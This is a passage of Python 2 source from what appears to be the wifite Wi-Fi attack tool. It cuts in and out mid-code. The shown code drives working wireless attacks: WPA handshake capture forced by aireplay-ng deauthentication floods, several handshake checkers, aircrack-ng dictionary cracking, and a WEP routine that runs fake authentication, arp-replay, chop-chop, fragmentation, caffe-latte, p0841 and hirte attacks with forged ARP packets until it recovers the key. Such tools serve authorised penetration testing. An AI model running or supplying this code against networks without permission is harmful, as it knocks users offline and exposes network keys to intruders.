  2156. + '_' + self.target.bssid.replace(':', '-') \
  2157. + '_' + str(save_index) + '.cap'
  2158.  
  2159. # Remove previous airodump output files (if needed)
  2160. remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2161.  
  2162. # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
  2163. try:
  2164. # Start airodump-ng process to capture handshakes
  2165. cmd = ['airodump-ng',
  2166. '-w', self.RUN_CONFIG.temp + 'wpa',
  2167. '-c', self.target.channel,
  2168. '--bssid', self.target.bssid, self.iface]
  2169. proc_read = Popen(cmd, stdout=DN, stderr=DN)
  2170.  
  2171. # Setting deauthentication process here to avoid errors later on
  2172. proc_deauth = None
  2173.  
  2174. print ' %s starting %swpa handshake capture%s on "%s"' % \
  2175. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W)
  2176. got_handshake = False
  2177.  
  2178. seconds_running = 0
  2179. seconds_since_last_deauth = 0
  2180.  
  2181. target_clients = self.clients[:]
  2182. client_index = -1
  2183. start_time = time.time()
  2184. # Deauth and check-for-handshake loop
  2185. while not got_handshake and (
  2186. self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
  2187. if proc_read.poll() != None:
  2188. print ""
  2189. print "airodump-ng exited with status " + str(proc_read.poll())
  2190. print ""
  2191. break
  2192. time.sleep(1)
  2193. seconds_since_last_deauth += int(time.time() - start_time - seconds_running)
  2194. seconds_running = int(time.time() - start_time)
  2195.  
  2196. print " \r",
  2197. print ' %s listening for handshake...\r' % \
  2198. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W),
  2199. stdout.flush()
  2200.  
  2201. if seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT:
  2202. seconds_since_last_deauth = 0
  2203. # Send deauth packets via aireplay-ng
  2204. cmd = ['aireplay-ng',
  2205. '--ignore-negative-one',
  2206. '-0', # Attack method (Deauthentication)
  2207. str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), # Number of packets to send
  2208. '-a', self.target.bssid]
  2209.  
  2210. client_index += 1
  2211.  
  2212. if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
  2213. print " %s sending %s deauth to %s*broadcast*%s..." % \
  2214. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W,
  2215. G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W),
  2216. client_index = -1
  2217. else:
  2218. print " %s sending %s deauth to %s... " % \
  2219. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \
  2220. G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \
  2221. G + target_clients[client_index].bssid + W),
  2222. cmd.append('-h')
  2223. cmd.append(target_clients[client_index].bssid)
  2224. cmd.append(self.iface)
  2225. stdout.flush()
  2226.  
  2227. # Send deauth packets via aireplay, wait for them to complete.
  2228. proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
  2229. proc_deauth.wait()
  2230. print "sent\r",
  2231. stdout.flush()
  2232.  
  2233. # Copy current dump file for consistency
  2234. if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue
  2235. copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2236.  
  2237. # Save copy of cap file (for debugging)
  2238. #remove_file('/root/new/wpa-01.cap')
  2239. #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
  2240.  
  2241. # Check for handshake
  2242. if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'):
  2243. got_handshake = True
  2244.  
  2245. try:
  2246. os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
  2247. except OSError:
  2248. pass
  2249.  
  2250. # Kill the airodump and aireplay processes
  2251. send_interrupt(proc_read)
  2252. send_interrupt(proc_deauth)
  2253.  
  2254. # Save a copy of the handshake
  2255. rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as)
  2256.  
  2257. print '\n %s %shandshake captured%s! saved as "%s"' % (
  2258. GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W)
  2259. self.RUN_CONFIG.WPA_FINDINGS.append(
  2260. '%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
  2261. self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
  2262. self.RUN_CONFIG.WPA_FINDINGS.append('')
  2263.  
  2264. # Strip handshake if needed
  2265. if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)
  2266.  
  2267. # Add the filename and SSID to the list of 'to-crack'
  2268. # Cracking will be handled after all attacks are finished.
  2269. self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
  2270.  
  2271. break # Break out of while loop
  2272.  
  2273. # No handshake yet
  2274. os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2275.  
  2276. # Check the airodump output file for new clients
  2277. for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]:
  2278. if client.station != self.target.bssid: continue
  2279. new_client = True
  2280. for c in target_clients:
  2281. if client.bssid == c.bssid:
  2282. new_client = False
  2283. break
  2284.  
  2285. if new_client:
  2286. print " %s %snew client%s found: %s " % \
  2287. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \
  2288. G + client.bssid + W)
  2289. target_clients.append(client)
  2290.  
  2291. # End of Handshake wait loop.
  2292.  
  2293. if not got_handshake:
  2294. print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W
  2295.  
  2296. except KeyboardInterrupt:
  2297. print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W
  2298. if attack_interrupted_prompt():
  2299. remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2300. send_interrupt(proc_read)
  2301. send_interrupt(proc_deauth)
  2302. print ''
  2303. self.RUN_CONFIG.exit_gracefully(0)
  2304.  
  2305.  
  2306. # clean up
  2307. remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2308. send_interrupt(proc_read)
  2309. send_interrupt(proc_deauth)
  2310.  
  2311. return got_handshake
  2312.  
  2313. def has_handshake_tshark(self, target, capfile):
  2314. """
  2315. Uses TShark to check for a handshake.
  2316. Returns "True" if handshake is found, false otherwise.
  2317. """
  2318. if program_exists('tshark'):
  2319. # Call Tshark to return list of EAPOL packets in cap file.
  2320. cmd = ['tshark',
  2321. '-r', capfile, # Input file
  2322. '-R', 'eapol', # Filter (only EAPOL packets)
  2323. '-n'] # Do not resolve names (MAC vendors)
  2324. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2325. proc.wait()
  2326. lines = proc.communicate()[0].split('\n')
  2327.  
  2328. # Get list of all clients in cap file
  2329. clients = []
  2330. for line in lines:
  2331. if line.find('appears to have been cut short') != -1 or line.find(
  2332. 'Running as user "root"') != -1 or line.strip() == '':
  2333. continue
  2334.  
  2335. while line.startswith(' '): line = line[1:]
  2336. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2337.  
  2338. fields = line.split(' ')
  2339. # ensure tshark dumped correct info
  2340. if len(fields) < 5:
  2341. continue
  2342.  
  2343. src = fields[2].lower()
  2344. dst = fields[4].lower()
  2345.  
  2346. if src == target.bssid.lower() and clients.count(dst) == 0:
  2347. clients.append(dst)
  2348. elif dst == target.bssid.lower() and clients.count(src) == 0:
  2349. clients.append(src)
  2350.  
  2351. # Check each client for a handshake
  2352. for client in clients:
  2353. msg_num = 1 # Index of message in 4-way handshake (starts at 1)
  2354.  
  2355. for line in lines:
  2356. if line.find('appears to have been cut short') != -1: continue
  2357. if line.find('Running as user "root"') != -1: continue
  2358. if line.strip() == '': continue
  2359.  
  2360. # Sanitize tshark's output, separate into fields
  2361. while line[0] == ' ': line = line[1:]
  2362. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2363.  
  2364. fields = line.split(' ')
  2365.  
  2366. # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
  2367. # This catches this glitch and fixes it.
  2368. if len(fields) < 8:
  2369. continue
  2370. elif len(fields) == 8:
  2371. fields.append('(msg')
  2372. fields.append('3/4)')
  2373.  
  2374. src = fields[2].lower() # Source MAC address
  2375. dst = fields[4].lower() # Destination MAC address
  2376. if len(fields) == 12:
  2377. # "Message x of y" format
  2378. msg = fields[9][0]
  2379. else:
  2380. msg = fields[-1][0]
  2381.  
  2382. # First, third msgs in 4-way handshake are from the target to client
  2383. if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client):
  2384. continue
  2385. # Second, fourth msgs in 4-way handshake are from client to target
  2386. elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client):
  2387. continue
  2388.  
  2389. # The messages must appear in sequential order.
  2390. try:
  2391. if int(msg) != msg_num: continue
  2392. except ValueError:
  2393. continue
  2394.  
  2395. msg_num += 1
  2396.  
  2397. # We need the first 4 messages of the 4-way handshake
  2398. # Although aircrack-ng cracks just fine with only 3 of the messages...
  2399. if msg_num >= 4:
  2400. return True
  2401. return False
  2402.  
  2403. def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
  2404. """
  2405. Uses cowpatty to check for a handshake.
  2406. Returns "True" if handshake is found, false otherwise.
  2407. """
  2408. if not program_exists('cowpatty'): return False
  2409.  
  2410. # Call cowpatty to check if capfile contains a valid handshake.
  2411. cmd = ['cowpatty',
  2412. '-r', capfile, # input file
  2413. '-s', target.ssid, # SSID
  2414. '-c'] # Check for handshake
  2415. # Uses frames 1, 2, or 3 for key attack
  2416. if nonstrict: cmd.append('-2')
  2417. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2418. proc.wait()
  2419. response = proc.communicate()[0]
  2420. if response.find('incomplete four-way handshake exchange') != -1:
  2421. return False
  2422. elif response.find('Unsupported or unrecognized pcap file.') != -1:
  2423. return False
  2424. elif response.find('Unable to open capture file: Success') != -1:
  2425. return False
  2426. return True
  2427.  
  2428. def has_handshake_pyrit(self, target, capfile):
  2429. """
  2430. Uses pyrit to check for a handshake.
  2431. Returns "True" if handshake is found, false otherwise.
  2432. """
  2433. if not program_exists('pyrit'): return False
  2434.  
  2435. # Call pyrit to "Analyze" the cap file's handshakes.
  2436. cmd = ['pyrit',
  2437. '-r', capfile,
  2438. 'analyze']
  2439. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2440. proc.wait()
  2441. hit_essid = False
  2442. for line in proc.communicate()[0].split('\n'):
  2443. # Iterate over every line of output by Pyrit
  2444. if line == '' or line == None: continue
  2445. if line.find("AccessPoint") != -1:
  2446. hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
  2447. (line.lower().find(target.bssid.lower()) != -1)
  2448. #hit_essid = (line.lower().find(target.bssid.lower()))
  2449.  
  2450. else:
  2451. # If Pyrit says it's good or workable, it's a valid handshake.
  2452. if hit_essid and (line.find(', good, ') != -1 or \
  2453. line.find(', workable, ') != -1):
  2454. return True
  2455. return False
  2456.  
  2457. def has_handshake_aircrack(self, target, capfile):
  2458. """
  2459. Uses aircrack-ng to check for handshake.
  2460. Returns True if found, False otherwise.
  2461. """
  2462. if not program_exists('aircrack-ng'): return False
  2463. crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
  2464. proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
  2465. proc_crack.wait()
  2466. txt = proc_crack.communicate()[0]
  2467.  
  2468. return (txt.find('Passphrase not in dictionary') != -1)
  2469.  
  2470. def has_handshake(self, target, capfile):
  2471. """
  2472. Checks if .cap file contains a handshake.
  2473. Returns True if handshake is found, False otherwise.
  2474. """
  2475. valid_handshake = True
  2476. tried = False
  2477. if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
  2478. tried = True
  2479. valid_handshake = self.has_handshake_tshark(target, capfile)
  2480.  
  2481. if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2482. tried = True
  2483. valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2484.  
  2485. # Use CowPatty to check for handshake.
  2486. if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2487. tried = True
  2488. valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2489.  
  2490. # Check for handshake using Pyrit if applicable
  2491. if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
  2492. tried = True
  2493. valid_handshake = self.has_handshake_pyrit(target, capfile)
  2494.  
  2495. # Check for handshake using aircrack-ng
  2496. if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
  2497. tried = True
  2498. valid_handshake = self.has_handshake_aircrack(target, capfile)
  2499.  
  2500. if tried: return valid_handshake
  2501. print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!'
  2502. self.RUN_CONFIG.exit_gracefully(1)
  2503.  
  2504. def strip_handshake(self, capfile):
  2505. """
  2506. Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
  2507. File in location 'capfile' is overwritten!
  2508. """
  2509. output_file = capfile
  2510. if program_exists('pyrit'):
  2511. cmd = ['pyrit',
  2512. '-r', capfile,
  2513. '-o', capfile + '.temp',
  2514. 'stripLive']
  2515. call(cmd, stdout=DN, stderr=DN)
  2516. rename(capfile + '.temp', output_file)
  2517.  
  2518. elif program_exists('tshark'):
  2519. # strip results with tshark
  2520. cmd = ['tshark',
  2521. '-r', capfile, # input file
  2522. '-R', 'eapol || wlan_mgt.tag.interpretation', # filter
  2523. '-w', capfile + '.temp'] # output file
  2524. proc_strip = call(cmd, stdout=DN, stderr=DN)
  2525.  
  2526. rename(capfile + '.temp', output_file)
  2527.  
  2528. else:
  2529. print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W
  2530.  
  2531.  
  2532. ##########################
  2533. # WPA CRACKING FUNCTIONS #
  2534. ##########################
  2535. def wpa_crack(capfile, RUN_CONFIG):
  2536. """
  2537. Cracks cap file using aircrack-ng
  2538. This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
  2539. they can do so manually.
  2540. """
  2541. if RUN_CONFIG.WPA_DICTIONARY == '':
  2542. print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W
  2543. return False
  2544.  
  2545. print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W)
  2546. start_time = time.time()
  2547. cracked = False
  2548.  
  2549. remove_file(RUN_CONFIG.temp + 'out.out')
  2550. remove_file(RUN_CONFIG.temp + 'wpakey.txt')
  2551.  
  2552. cmd = ['aircrack-ng',
  2553. '-a', '2', # WPA crack
  2554. '-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist
  2555. '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file
  2556. '-b', capfile.bssid, # BSSID of target
  2557. capfile.filename]
  2558.  
  2559. proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
  2560. try:
  2561. kt = 0 # Keys tested
  2562. kps = 0 # Keys per second
  2563. while True:
  2564. time.sleep(1)
  2565.  
  2566. if proc.poll() != None: # aircrack stopped
  2567. if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
  2568. # Cracked
  2569. inf = open(RUN_CONFIG.temp + 'wpakey.txt')
  2570. key = inf.read().strip()
  2571. inf.close()
  2572. RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (
  2573. G + capfile.ssid + W, G + capfile.bssid + W, C + key + W))
  2574. RUN_CONFIG.WPA_FINDINGS.append('')
  2575. t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
  2576. t.key = key
  2577. RUN_CONFIG.save_cracked(t)
  2578.  
  2579. print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W)
  2580. print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W)
  2581. cracked = True
  2582. else:
  2583. # Did not crack
  2584. print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W
  2585. break
  2586.  
  2587. inf = open(RUN_CONFIG.temp + 'out.out', 'r')
  2588. lines = inf.read().split('\n')
  2589. inf.close()
  2590. outf = open(RUN_CONFIG.temp + 'out.out', 'w')
  2591. outf.close()
  2592. for line in lines:
  2593. i = line.find(']')
  2594. j = line.find('keys tested', i)
  2595. if i != -1 and j != -1:
  2596. kts = line[i + 2:j - 1]
  2597. try:
  2598. kt = int(kts)
  2599. except ValueError:
  2600. pass
  2601. i = line.find('(')
  2602. j = line.find('k/s)', i)
  2603. if i != -1 and j != -1:
  2604. kpss = line[i + 1:j - 1]
  2605. try:
  2606. kps = float(kpss)
  2607. except ValueError:
  2608. pass
  2609.  
  2610. print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \
  2611. (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W),
  2612. stdout.flush()
  2613.  
  2614. except KeyboardInterrupt:
  2615. print R + '\n (^C)' + O + ' WPA cracking interrupted' + W
  2616.  
  2617. send_interrupt(proc)
  2618. try:
  2619. os.kill(proc.pid, SIGTERM)
  2620. except OSError:
  2621. pass
  2622.  
  2623. return cracked
  2624.  
  2625.  
  2626. def add_commas(n):
  2627. """
  2628. Receives integer n, returns string representation of n with commas in thousands place.
  2629. I'm sure there's easier ways of doing this... but meh.
  2630. """
  2631. strn = str(n)
  2632. lenn = len(strn)
  2633. i = 0
  2634. result = ''
  2635. while i < lenn:
  2636. if (lenn - i) % 3 == 0 and i != 0: result += ','
  2637. result += strn[i]
  2638. i += 1
  2639. return result
  2640.  
  2641.  
  2642. #################
  2643. # WEP FUNCTIONS #
  2644. #################
  2645. class WEPAttack(Attack):
  2646. def __init__(self, iface, target, clients, config):
  2647. self.iface = iface
  2648. self.target = target
  2649. self.clients = clients
  2650. self.RUN_CONFIG = config
  2651.  
  2652. def RunAttack(self):
  2653. '''
  2654. Abstract method for dispatching the WEP crack
  2655. '''
  2656. self.attack_wep()
  2657.  
  2658. def EndAttack(self):
  2659. '''
  2660. Abstract method for ending the WEP attack
  2661. '''
  2662. pass
  2663.  
  2664. def attack_wep(self):
  2665. """
  2666. Attacks WEP-encrypted network.
  2667. Returns True if key was successfully found, False otherwise.
  2668. """
  2669. if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1
  2670.  
  2671. total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)
  2672. if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
  2673. if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1
  2674. if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1
  2675. if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
  2676. if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1
  2677. if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1
  2678.  
  2679. if total_attacks <= 0:
  2680. print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!'
  2681. return False
  2682. remaining_attacks = total_attacks
  2683.  
  2684. print ' %s preparing attack "%s" (%s)' % \
  2685. (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W)
  2686.  
  2687. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2688. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2689.  
  2690. # Start airodump process to capture packets
  2691. cmd_airodump = ['airodump-ng',
  2692. '-w', self.RUN_CONFIG.temp + 'wep', # Output file name (wep-01.cap, wep-01.csv)
  2693. '-c', self.target.channel, # Wireless channel
  2694. '--bssid', self.target.bssid,
  2695. self.iface]
  2696. proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2697. proc_aireplay = None
  2698. proc_aircrack = None
  2699.  
  2700. successful = False # Flag for when attack is successful
  2701. started_cracking = False # Flag for when we have started aircrack-ng
  2702. client_mac = '' # The client mac we will send packets to/from
  2703.  
  2704. total_ivs = 0
  2705. ivs = 0
  2706. last_ivs = 0
  2707. for attack_num in xrange(0, 6):
  2708.  
  2709. # Skip disabled attacks
  2710. if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY:
  2711. continue
  2712. elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP:
  2713. continue
  2714. elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT:
  2715. continue
  2716. elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE:
  2717. continue
  2718. elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841:
  2719. continue
  2720. elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE:
  2721. continue
  2722.  
  2723. remaining_attacks -= 1
  2724.  
  2725. try:
  2726.  
  2727. if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
  2728. # Successful fake auth
  2729. client_mac = self.RUN_CONFIG.THIS_MAC
  2730. elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
  2731. send_interrupt(proc_aireplay)
  2732. send_interrupt(proc_airodump)
  2733. print R + ' [!]' + O + ' unable to fake-authenticate with target'
  2734. print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line'
  2735. return False
  2736.  
  2737. remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2738. # Generate the aireplay-ng arguments based on attack_num and other params
  2739. cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
  2740. if cmd == '': continue
  2741. if proc_aireplay != None:
  2742. send_interrupt(proc_aireplay)
  2743. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2744.  
  2745. print '\r %s attacking "%s" via' % (
  2746. GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W),
  2747. if attack_num == 0:
  2748. print G + 'arp-replay',
  2749. elif attack_num == 1:
  2750. print G + 'chop-chop',
  2751. elif attack_num == 2:
  2752. print G + 'fragmentation',
  2753. elif attack_num == 3:
  2754. print G + 'caffe-latte',
  2755. elif attack_num == 4:
  2756. print G + 'p0841',
  2757. elif attack_num == 5:
  2758. print G + 'hirte',
  2759. print 'attack' + W
  2760.  
  2761. print ' %s captured %s%d%s ivs @ %s iv/sec' % (
  2762. GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W),
  2763. stdout.flush()
  2764.  
  2765. time.sleep(1)
  2766. if attack_num == 1:
  2767. # Send a deauth packet to broadcast and all clients *just because!*
  2768. self.wep_send_deauths(self.iface, self.target, self.clients)
  2769. last_deauth = time.time()
  2770.  
  2771. replaying = False
  2772. time_started = time.time()
  2773. while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
  2774. # time.sleep(5)
  2775. for time_count in xrange(0, 6):
  2776. if self.RUN_CONFIG.WEP_TIMEOUT == -1:
  2777. current_hms = "[endless]"
  2778. else:
  2779. current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
  2780. print "\r %s\r" % (GR + current_hms + W),
  2781. stdout.flush()
  2782. time.sleep(1)
  2783.  
  2784. # Calculates total seconds remaining
  2785.  
  2786. # Check number of IVs captured
  2787. csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2788. if len(csv) > 0:
  2789. ivs = int(csv[0].data)
  2790. print "\r ",
  2791. print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
  2792. (GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2793.  
  2794. if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
  2795. print "\r %s deauthing to generate packets..." % (GR + current_hms + W),
  2796. self.wep_send_deauths(self.iface, self.target, self.clients)
  2797. print "done\r",
  2798. last_deauth = time.time()
  2799.  
  2800. last_ivs = ivs
  2801. stdout.flush()
  2802. if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
  2803. # Start cracking
  2804. cmd = ['aircrack-ng',
  2805. '-a', '1',
  2806. '-l', self.RUN_CONFIG.temp + 'wepkey.txt']
  2807. #temp + 'wep-01.cap']
  2808. # Append all .cap files in temp directory (in case we are resuming)
  2809. for f in os.listdir(self.RUN_CONFIG.temp):
  2810. if f.startswith('wep-') and f.endswith('.cap'):
  2811. cmd.append(self.RUN_CONFIG.temp + f)
  2812.  
  2813. print "\r %s started %s (%sover %d ivs%s)" % (
  2814. GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
  2815. proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
  2816. started_cracking = True
  2817.  
  2818. # Check if key has been cracked yet.
  2819. if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2820. # Cracked!
  2821. infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2822. key = infile.read().replace('\n', '')
  2823. infile.close()
  2824. print '\n\n %s %s %s (%s)! key: "%s"' % (
  2825. current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2826. self.RUN_CONFIG.WEP_FINDINGS.append(
  2827. 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2828. self.RUN_CONFIG.WEP_FINDINGS.append('')
  2829.  
  2830. t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2831. t.key = key
  2832. self.RUN_CONFIG.save_cracked(t)
  2833.  
  2834. # Kill processes
  2835. send_interrupt(proc_airodump)
  2836. send_interrupt(proc_aireplay)
  2837. try:
  2838. os.kill(proc_aireplay, SIGTERM)
  2839. except:
  2840. pass
  2841. send_interrupt(proc_aircrack)
  2842. # Remove files generated by airodump/aireplay/packetforce
  2843. time.sleep(0.5)
  2844. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2845. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2846. return True
  2847.  
  2848. # Check if aireplay is still executing
  2849. if proc_aireplay.poll() == None:
  2850. if replaying:
  2851. print ', ' + G + 'replaying \r' + W,
  2852. elif attack_num == 1 or attack_num == 2:
  2853. print ', waiting for packet \r',
  2854. stdout.flush()
  2855. continue
  2856.  
  2857. # At this point, aireplay has stopped
  2858. if attack_num != 1 and attack_num != 2:
  2859. print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W)
  2860. break # Break out of attack's While loop
  2861.  
  2862. # Check for a .XOR file (we expect one when doing chopchop/fragmentation
  2863. xor_file = ''
  2864. for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
  2865. if filename.lower().endswith('.xor'): xor_file = self.RUN_CONFIG.temp + filename
  2866. if xor_file == '':
  2867. print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W)
  2868. break
  2869.  
  2870. remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2871. cmd = ['packetforge-ng',
  2872. '-0',
  2873. '-a', self.target.bssid,
  2874. '-h', client_mac,
  2875. '-k', '192.168.1.2',
  2876. '-l', '192.168.1.100',
  2877. '-y', xor_file,
  2878. '-w', self.RUN_CONFIG.temp + 'arp.cap',
  2879. self.iface]
  2880. proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
  2881. proc_pforge.wait()
  2882. forged_packet = proc_pforge.communicate()[0]
  2883. remove_file(xor_file)
  2884. if forged_packet == None: result = ''
  2885. forged_packet = forged_packet.strip()
  2886. if not forged_packet.find('Wrote packet'):
  2887. print "\r %s attack failed: unable to forget ARP packet %s" % (
  2888. R + current_hms + O, W)
  2889. break
  2890.  
  2891. # We were able to forge a packet, so let's replay it via aireplay-ng
  2892. cmd = ['aireplay-ng',
  2893. '--ignore-negative-one',
  2894. '--arpreplay',
  2895. '-b', self.target.bssid,
  2896. '-r', self.RUN_CONFIG.temp + 'arp.cap', # Used the forged ARP packet
  2897. '-F', # Select the first packet
  2898. self.iface]
  2899. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2900.  
  2901. print '\r %s forged %s! %s... ' % (
  2902. GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W)
  2903. replaying = True
  2904.  
  2905. # After the attacks, if we are already cracking, wait for the key to be found!
  2906. while started_cracking: # ivs > WEP_CRACK_AT_IVS:
  2907. time.sleep(5)
  2908. # Check number of IVs captured
  2909. csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2910. if len(csv) > 0:
  2911. ivs = int(csv[0].data)
  2912. print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \
  2913. (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2914. last_ivs = ivs
  2915. stdout.flush()
  2916.  
  2917. # Check if key has been cracked yet.
  2918. if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2919. # Cracked!
  2920. infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2921. key = infile.read().replace('\n', '')
  2922. infile.close()
  2923. print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % (
